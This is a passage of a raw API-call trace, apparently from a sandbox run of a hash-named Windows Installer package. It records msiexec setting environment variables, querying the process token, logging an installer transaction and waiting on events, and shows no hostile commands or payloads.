SetEnvironmentVariableW (lpName="Path", lpValue="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 1 [0068.461] SetEnvironmentVariableW (lpName="PATHEXT", lpValue=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 1 [0068.461] SetEnvironmentVariableW (lpName="PROCESSOR_ARCHITECTURE", lpValue="AMD64") returned 1 [0068.461] SetEnvironmentVariableW (lpName="PROCESSOR_IDENTIFIER", lpValue="Intel64 Family 6 Model 85 Stepping 4, GenuineIntel") returned 1 [0068.461] SetEnvironmentVariableW (lpName="PROCESSOR_LEVEL", lpValue="6") returned 1 [0068.461] SetEnvironmentVariableW (lpName="PROCESSOR_REVISION", lpValue="5504") returned 1 [0068.461] SetEnvironmentVariableW (lpName="ProgramData", lpValue="C:\\ProgramData") returned 1 [0068.461] SetEnvironmentVariableW (lpName="ProgramFiles", lpValue="C:\\Program Files") returned 1 [0068.461] SetEnvironmentVariableW (lpName="ProgramFiles(x86)", lpValue="C:\\Program Files (x86)") returned 1 [0068.461] SetEnvironmentVariableW (lpName="ProgramW6432", lpValue="C:\\Program Files") returned 1 [0068.461] SetEnvironmentVariableW (lpName="PSModulePath", lpValue="%ProgramFiles%\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 1 [0068.461] SetEnvironmentVariableW (lpName="PUBLIC", lpValue="C:\\Users\\Public") returned 1 [0068.461] SetEnvironmentVariableW (lpName="SystemDrive", lpValue="C:") returned 1 [0068.461] SetEnvironmentVariableW (lpName="SystemRoot", lpValue="C:\\Windows") returned 1 [0068.461] SetEnvironmentVariableW (lpName="TEMP", lpValue="C:\\Windows\\TEMP") returned 1 [0068.461] SetEnvironmentVariableW (lpName="TMP", lpValue="C:\\Windows\\TEMP") returned 1 [0068.461] SetEnvironmentVariableW (lpName="USERNAME", lpValue="SYSTEM") returned 1 [0068.461] SetEnvironmentVariableW (lpName="USERPROFILE", lpValue="C:\\Users\\Default") returned 1 [0068.462] SetEnvironmentVariableW (lpName="windir", lpValue="C:\\Windows") returned 1 [0068.462] SetEnvironmentVariableW (lpName="windows_tracing_flags", lpValue="3") returned 1 [0068.462] SetEnvironmentVariableW (lpName="windows_tracing_logfile", lpValue="C:\\BVTBin\\Tests\\installpackage\\csilogfile.log") returned 1 [0068.462] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0068.462] DestroyEnvironmentBlock () returned 0x1 [0068.462] GetTokenInformation (in: TokenHandle=0x140, TokenInformationClass=0x1, TokenInformation=0xdce190, TokenInformationLength=0x58, ReturnLength=0xdce180 | out: TokenInformation=0xdce190, ReturnLength=0xdce180) returned 1 [0068.462] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0xdce240, pSourceSid=0xdce1a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xdce240*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.462] ConvertSidToStringSidW (in: Sid=0xdce240*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0xdce230 | out: StringSid=0xdce230*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.462] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.462] CreateEnvironmentBlock () returned 0x1 [0068.473] GetEnvironmentStringsW () returned 0x332980* [0068.473] memcpy (in: _Dst=0x333290, _Src=0x332980, _Size=0x900 | out: _Dst=0x333290) returned 0x333290 [0068.473] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ALLUSERSPROFILE", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 1 [0068.473] SetEnvironmentVariableW (lpName="ALLUSERSPROFILE", lpValue="C:\\ProgramData") returned 1 [0068.473] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="APPDATA", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 1 [0068.473] SetEnvironmentVariableW (lpName="APPDATA", lpValue="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0068.473] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="CommonProgramFiles", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 1 [0068.473] SetEnvironmentVariableW (lpName="CommonProgramFiles", lpValue="C:\\Program Files\\Common Files") returned 1 [0068.473] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="CommonProgramFiles(x86)", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 1 [0068.473] SetEnvironmentVariableW (lpName="CommonProgramFiles(x86)", lpValue="C:\\Program Files (x86)\\Common Files") returned 1 [0068.473] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="CommonProgramW6432", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 1 [0068.473] SetEnvironmentVariableW (lpName="CommonProgramW6432", lpValue="C:\\Program Files\\Common Files") returned 1 [0068.473] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="COMPUTERNAME", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 1 [0068.473] SetEnvironmentVariableW (lpName="COMPUTERNAME", lpValue="Q9IATRKPRH") returned 1 [0068.473] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ComSpec", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 1 [0068.473] SetEnvironmentVariableW (lpName="ComSpec", lpValue="C:\\Windows\\system32\\cmd.exe") returned 1 [0068.473] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="FP_NO_HOST_CHECK", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 1 [0068.473] SetEnvironmentVariableW (lpName="FP_NO_HOST_CHECK", lpValue="NO") returned 1 [0068.473] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HOMEDRIVE", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 1 [0068.474] SetEnvironmentVariableW (lpName="HOMEDRIVE", lpValue="C:") returned 1 [0068.474] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HOMEPATH", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 1 [0068.474] SetEnvironmentVariableW (lpName="HOMEPATH", lpValue="\\Users\\kEecfMwgj") returned 1 [0068.474] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="LOCALAPPDATA", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 1 [0068.474] SetEnvironmentVariableW (lpName="LOCALAPPDATA", lpValue="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 1 [0068.474] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="LOGONSERVER", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 1 [0068.474] SetEnvironmentVariableW (lpName="LOGONSERVER", lpValue="\\\\Q9IATRKPRH") returned 1 [0068.474] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="NUMBER_OF_PROCESSORS", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 1 [0068.474] SetEnvironmentVariableW (lpName="NUMBER_OF_PROCESSORS", lpValue="1") returned 1 [0068.474] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="OS", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 1 [0068.474] SetEnvironmentVariableW (lpName="OS", lpValue="Windows_NT") returned 1 [0068.474] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Path", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 2 [0068.474] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="PATHEXT", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.474] SetEnvironmentVariableW (lpName="PATHEXT", lpValue=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 1 [0068.474] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="PROCESSOR_ARCHITECTURE", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.474] SetEnvironmentVariableW (lpName="PROCESSOR_ARCHITECTURE", lpValue="AMD64") returned 1 [0068.474] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="PROCESSOR_IDENTIFIER", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.474] SetEnvironmentVariableW (lpName="PROCESSOR_IDENTIFIER", lpValue="Intel64 Family 6 Model 85 Stepping 4, GenuineIntel") returned 1 [0068.474] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="PROCESSOR_LEVEL", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.474] SetEnvironmentVariableW (lpName="PROCESSOR_LEVEL", lpValue="6") returned 1 [0068.474] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="PROCESSOR_REVISION", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.474] SetEnvironmentVariableW (lpName="PROCESSOR_REVISION", lpValue="5504") returned 1 [0068.474] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ProgramData", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.474] SetEnvironmentVariableW (lpName="ProgramData", lpValue="C:\\ProgramData") returned 1 [0068.475] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ProgramFiles", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.475] SetEnvironmentVariableW (lpName="ProgramFiles", lpValue="C:\\Program Files") returned 1 [0068.475] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ProgramFiles(x86)", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.475] SetEnvironmentVariableW (lpName="ProgramFiles(x86)", lpValue="C:\\Program Files (x86)") returned 1 [0068.475] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ProgramW6432", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.475] SetEnvironmentVariableW (lpName="ProgramW6432", lpValue="C:\\Program Files") returned 1 [0068.475] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="PSModulePath", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.475] SetEnvironmentVariableW (lpName="PSModulePath", lpValue="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 1 [0068.475] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="PUBLIC", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.475] SetEnvironmentVariableW (lpName="PUBLIC", lpValue="C:\\Users\\Public") returned 1 [0068.475] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="SystemDrive", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.475] SetEnvironmentVariableW (lpName="SystemDrive", lpValue="C:") returned 1 [0068.475] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="SystemRoot", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.475] SetEnvironmentVariableW (lpName="SystemRoot", lpValue="C:\\Windows") returned 1 [0068.475] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="TEMP", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.475] SetEnvironmentVariableW (lpName="TEMP", lpValue="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp") returned 1 [0068.475] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="TMP", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.475] SetEnvironmentVariableW (lpName="TMP", lpValue="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp") returned 1 [0068.476] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="USERDOMAIN", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.476] SetEnvironmentVariableW (lpName="USERDOMAIN", lpValue="Q9IATRKPRH") returned 1 [0068.477] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="USERNAME", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.477] SetEnvironmentVariableW (lpName="USERNAME", lpValue="kEecfMwgj") returned 1 [0068.477] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="USERPROFILE", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.477] SetEnvironmentVariableW (lpName="USERPROFILE", lpValue="C:\\Users\\kEecfMwgj") returned 1 [0068.477] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="windir", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.477] SetEnvironmentVariableW (lpName="windir", lpValue="C:\\Windows") returned 1 [0068.477] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="windows_tracing_flags", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.477] SetEnvironmentVariableW (lpName="windows_tracing_flags", lpValue="3") returned 1 [0068.477] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="windows_tracing_logfile", cchCount1=-1, lpString2="PATH", cchCount2=-1) returned 3 [0068.477] SetEnvironmentVariableW (lpName="windows_tracing_logfile", lpValue="C:\\BVTBin\\Tests\\installpackage\\csilogfile.log") returned 1 [0068.477] FreeEnvironmentStringsW (penv=0x332980) returned 1 [0068.477] DestroyEnvironmentBlock () returned 0x1 [0068.477] GetEnvironmentStringsW () returned 0x331d70* [0068.477] FreeEnvironmentStringsW (penv=0x331d70) returned 1 [0068.477] GetEnvironmentVariableW (in: lpName="_MSI_TEST", lpBuffer=0xdce210, nSize=0x40 | out: lpBuffer="") returned 0x0 [0068.477] RegCloseKey (hKey=0xffffffff80000001) returned 0x0 [0068.478] SetThreadToken (Thread=0x0, Token=0x140) returned 1 [0068.478] RegEnumKeyW (in: hKey=0xffffffff80000001, dwIndex=0x0, lpName=0x0, cchName=0x0 | out: lpName=0x0) returned 0xea [0068.478] GetLastError () returned 0x0 [0068.478] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] SetEvent (hEvent=0xf4) returned 1 [0068.479] _vsnwprintf (in: _Buffer=0xdce3b8, _BufferCount=0xe, _Format="%d", _ArgList=0xdce348 | out: _Buffer="3848") returned 4 [0068.479] GetCurrentProcessId () returned 0xf30 [0068.479] GetCurrentThreadId () returned 0xf3c [0068.479] GetCurrentThreadId () returned 0xf3c [0068.479] GetLocalTime (in: lpSystemTime=0xdce000 | out: lpSystemTime=0xdce000*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2e, wSecond=0x36, wMilliseconds=0xa3)) [0068.479] _vsnwprintf (in: _Buffer=0xdce290, _BufferCount=0x20, _Format="%s (%.2X%c%.2X) [%02u:%02u:%02u:%03u]: ", _ArgList=0xdcdf88 | out: _Buffer="MSI (s) (30:3C) [19:46:54:163]: ") returned 32 [0068.480] GetProcAddress (hModule=0x76b00000, lpProcName="GetThreadPreferredUILanguages") returned 0x76b04fd0 [0068.480] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0xdcdf24, pwszLanguagesBuffer=0xdcdf38, pcchLanguagesBuffer=0xdcdf20 | out: pulNumLanguages=0xdcdf24, pwszLanguagesBuffer=0xdcdf38, pcchLanguagesBuffer=0xdcdf20) returned 0 [0068.480] GetLastError () returned 0x7a [0068.481] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0xdcdf24, pwszLanguagesBuffer=0x330860, pcchLanguagesBuffer=0xdcdf20 | out: pulNumLanguages=0xdcdf24, pwszLanguagesBuffer=0x330860, pcchLanguagesBuffer=0xdcdf20) returned 1 [0068.481] GetVersionExW (in: lpVersionInformation=0xdcd920*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xdcd920*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0068.481] LoadLibraryExW (lpLibFileName="MsiMsg.dll", hFile=0x0, dwFlags=0x22) returned 0x74a20002 [0068.482] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74a20002, dwMessageId=0x410, dwLanguageId=0x409, lpBuffer=0xdce0a0, nSize=0xe0, Arguments=0xdce018 | out: lpBuffer="Beginning a Windows Installer transaction: C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi. Client Process Id: 3848.\r\n") returned 0xa5 [0068.486] memcpy (in: _Dst=0xdce060, _Src=0xdce290, _Size=0x40 | out: _Dst=0xdce060) returned 0xdce060 [0068.486] GetTokenInformation (in: TokenHandle=0x140, TokenInformationClass=0x1, TokenInformation=0xdcddd0, TokenInformationLength=0x58, ReturnLength=0xdcddc0 | out: TokenInformation=0xdcddd0, ReturnLength=0xdcddc0) returned 1 [0068.486] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x2fa1c0, pSourceSid=0xdcdde0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2fa1c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.487] RegisterEventSourceW (lpUNCServerName=0x0, lpSourceName="MsiInstaller") returned 0xf40008 [0068.494] ReportEventW (hEventLog=0xf40008, wType=0x4, wCategory=0x0, dwEventID=0x410, lpUserSid=0x2fa1c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), wNumStrings=0x7, dwDataSize=0x0, lpStrings=0xdcded0*="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", lpRawData=0x0) returned 1 [0068.498] DeregisterEventSource (hEventLog=0xf40008) returned 1 [0068.499] LoadLibraryW (lpLibFileName="Ntdll.dll") returned 0x76d20000 [0068.499] GetProcAddress (hModule=0x76d20000, lpProcName="WinSqmIsOptedIn") returned 0x76d66060 [0068.499] WinSqmIsOptedIn () returned 0x0 [0068.500] SetEvent (hEvent=0xf4) returned 1 [0068.500] DuplicateTokenEx (in: hExistingToken=0x140, dwDesiredAccess=0x0, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x7fef7b1d758 | out: phNewToken=0x7fef7b1d758*=0x16c) returned 1 [0068.500] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0xdce268, TokenInformationLength=0x4, ReturnLength=0xdce270 | out: TokenInformation=0xdce268, ReturnLength=0xdce270) returned 1 [0068.500] GetProcAddress (hModule=0x76b00000, lpProcName="WTSGetActiveConsoleSessionId") returned 0x76b4c9c0 [0068.500] WTSGetActiveConsoleSessionId () returned 0x1 [0068.500] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x170 [0068.501] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x174 [0068.501] GetCurrentThreadId () returned 0xf3c [0068.501] GetCurrentThreadId () returned 0xf3c [0068.501] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0xdce1f0 | out: phkResult=0xdce1f0*=0x0) returned 0x2 [0068.501] GetCurrentThreadId () returned 0xf3c [0068.501] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.501] GetVersionExW (in: lpVersionInformation=0xdcdf00*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xdcdf00*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0068.501] LoadLibraryW (lpLibFileName="COMCTL32") returned 0x7fefb7a0000 [0068.501] GetProcAddress (hModule=0x7fefb7a0000, lpProcName="InitCommonControlsEx") returned 0x7fefb7c7ef0 [0068.502] InitCommonControlsEx (picce=0xdce0a0) returned 1 [0068.503] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0xdcdfc4, pwszLanguagesBuffer=0xdcdfd8, pcchLanguagesBuffer=0xdcdfc0 | out: pulNumLanguages=0xdcdfc4, pwszLanguagesBuffer=0xdcdfd8, pcchLanguagesBuffer=0xdcdfc0) returned 0 [0068.504] GetLastError () returned 0x7a [0068.504] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0xdcdfc4, pwszLanguagesBuffer=0x330940, pcchLanguagesBuffer=0xdcdfc0 | out: pulNumLanguages=0xdcdfc4, pwszLanguagesBuffer=0x330940, pcchLanguagesBuffer=0xdcdfc0) returned 1 [0068.504] FindResourceExW (hModule=0x74a20002, lpType=0x6, lpName=0x2, wLanguage=0x409) returned 0x280410 [0068.504] LoadResource (hModule=0x74a20002, hResInfo=0x280410) returned 0x281fb4 [0068.504] LockResource (hResData=0x281fb4) returned 0x281fb4 [0068.504] GetACP () returned 0x4e4 [0068.504] GetLocaleInfoW (in: Locale=0x409, LCType=0x1004, lpLCData=0xdcdfe0, cchData=10 | out: lpLCData="1252") returned 5 [0068.505] SetLastError (dwErrCode=0x0) [0068.505] memcpy (in: _Dst=0x7fef7b2337c, _Src=0x2820ca, _Size=0x22 | out: _Dst=0x7fef7b2337c) returned 0x7fef7b2337c [0068.505] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0xdcdfc4, pwszLanguagesBuffer=0xdcdfd8, pcchLanguagesBuffer=0xdcdfc0 | out: pulNumLanguages=0xdcdfc4, pwszLanguagesBuffer=0xdcdfd8, pcchLanguagesBuffer=0xdcdfc0) returned 0 [0068.505] GetLastError () returned 0x7a [0068.505] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0xdcdfc4, pwszLanguagesBuffer=0x330940, pcchLanguagesBuffer=0xdcdfc0 | out: pulNumLanguages=0xdcdfc4, pwszLanguagesBuffer=0x330940, pcchLanguagesBuffer=0xdcdfc0) returned 1 [0068.505] FindResourceExW (hModule=0x74a20002, lpType=0x6, lpName=0x2, wLanguage=0x409) returned 0x280410 [0068.505] LoadResource (hModule=0x74a20002, hResInfo=0x280410) returned 0x281fb4 [0068.505] LockResource (hResData=0x281fb4) returned 0x281fb4 [0068.505] memcpy (in: _Dst=0xdce0b0, _Src=0x281fe2, _Size=0x2e | out: _Dst=0xdce0b0) returned 0xdce0b0 [0068.506] GetProcAddress (hModule=0x7fefd4e0000, lpProcName="CoInitialize") returned 0x7fefd4fa51c [0068.506] CoInitialize (pvReserved=0x0) returned 0x80010106 [0068.506] RegisterClassW (lpWndClass=0xdce270) returned 0xc08c [0068.506] CreateWindowExW (dwExStyle=0x0, lpClassName="MsiHiddenWindow", lpWindowName="", dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x7fef7830000, lpParam=0x0) returned 0xa00a6 [0068.507] NtdllDefWindowProc_W () returned 0x1 [0068.507] NtdllDefWindowProc_W () returned 0x0 [0068.507] NtdllDefWindowProc_W () returned 0x0 [0068.507] NtdllDefWindowProc_W () returned 0x0 [0068.507] NtdllDefWindowProc_W () returned 0x0 [0068.508] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\_MSIExecute") returned 0x184 [0068.509] IUnknown_AddRef_Proxy (This=0x326b58) returned 0x2 [0068.509] GetCurrentThreadId () returned 0xf3c [0068.509] memcpy (in: _Dst=0x3348b0, _Src=0xdcdaf8, _Size=0x2 | out: _Dst=0x3348b0) returned 0x3348b0 [0068.509] memcpy (in: _Dst=0x3348b2, _Src=0xdcdaf8, _Size=0x2 | out: _Dst=0x3348b2) returned 0x3348b2 [0068.509] memcpy (in: _Dst=0x3348b4, _Src=0xdcdaf8, _Size=0x2 | out: _Dst=0x3348b4) returned 0x3348b4 [0068.509] memcpy (in: _Dst=0x3348b6, _Src=0xdcdaf8, _Size=0x4 | out: _Dst=0x3348b6) returned 0x3348b6 [0068.509] GetProcAddress (hModule=0x7fefd4e0000, lpProcName="CoTaskMemAlloc") returned 0x7fefd508e70 [0068.509] CoTaskMemAlloc (cb=0xa) returned 0x330940 [0068.509] memcpy (in: _Dst=0x330940, _Src=0x3348b0, _Size=0xa | out: _Dst=0x330940) returned 0x330940 [0068.510] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0068.519] GetProcAddress (hModule=0x7fefd4e0000, lpProcName="CoTaskMemFree") returned 0x7fefd508e20 [0068.519] CoTaskMemFree (pv=0x330940) [0068.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0xa000, lpStartAddress=0x7fef79222e8, lpParameter=0xdce4a8, dwCreationFlags=0x0, lpThreadId=0x7fef7b1d72c | out: lpThreadId=0x7fef7b1d72c*=0xf50) returned 0x194 [0068.521] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0068.665] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0068.834] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0068.834] memcpy (in: _Dst=0x334ee0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ee0) returned 0x334ee0 [0068.834] memcpy (in: _Dst=0x334ee2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ee2) returned 0x334ee2 [0068.834] memcpy (in: _Dst=0x334ee4, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ee4) returned 0x334ee4 [0068.834] memcpy (in: _Dst=0x334ee6, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334ee6) returned 0x334ee6 [0068.834] memcpy (in: _Dst=0x334eea, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334eea) returned 0x334eea [0068.834] memcpy (in: _Dst=0x334eec, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334eec) returned 0x334eec [0068.834] memcpy (in: _Dst=0x334ef0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ef0) returned 0x334ef0 [0068.834] memcpy (in: _Dst=0x334ef2, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334ef2) returned 0x334ef2 [0068.834] CoTaskMemAlloc (cb=0x16) returned 0x3308e0 [0068.834] memcpy (in: _Dst=0x3308e0, _Src=0x334ee0, _Size=0x16 | out: _Dst=0x3308e0) returned 0x3308e0 [0068.835] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0068.837] CoTaskMemFree (pv=0x3308e0) [0068.837] SetEvent (hEvent=0x174) returned 1 [0068.837] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0069.898] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0070.419] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0070.583] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0071.366] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0071.540] 